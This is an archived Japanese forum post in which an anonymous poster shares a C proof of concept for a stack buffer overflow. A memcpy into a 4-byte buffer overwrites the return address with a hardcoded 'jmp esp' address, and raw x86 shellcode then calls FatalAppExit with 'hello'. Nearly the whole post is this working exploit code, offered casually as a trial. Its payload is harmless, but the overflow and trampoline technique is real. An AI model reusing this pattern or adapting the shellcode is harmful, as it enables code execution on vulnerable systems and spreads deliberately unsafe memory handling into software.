OSボム
■ このスレッドは過去ログ倉庫に格納されています
0057デフォルトの名無しさん
NGNGどういう展開になるか予想がつかないんだよなあ。
というわけで気球上げてみる。
void func(unsigned char *src, size_t size)
{
unsigned char b[4];
memcpy(b, src, size);
}
void test()
{
unsigned char code[] = {
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x8b, 0x94, 0xf8, 0x77, // address of "jmp esp"
0x8b, 0xc4, 0x83, 0xc0, 0x0f, 0x50, 0x6a, 0x00, 0xb8,
0xfb, 0x7a, 0xe8, 0x77, // address of FatalAppExit()
0xff, 0xd0, "hello"
};
srand((unsigned)time(NULL));
_alloca(rand()/0x10000);
func(code, sizeof(code));
}
■ このスレッドは過去ログ倉庫に格納されています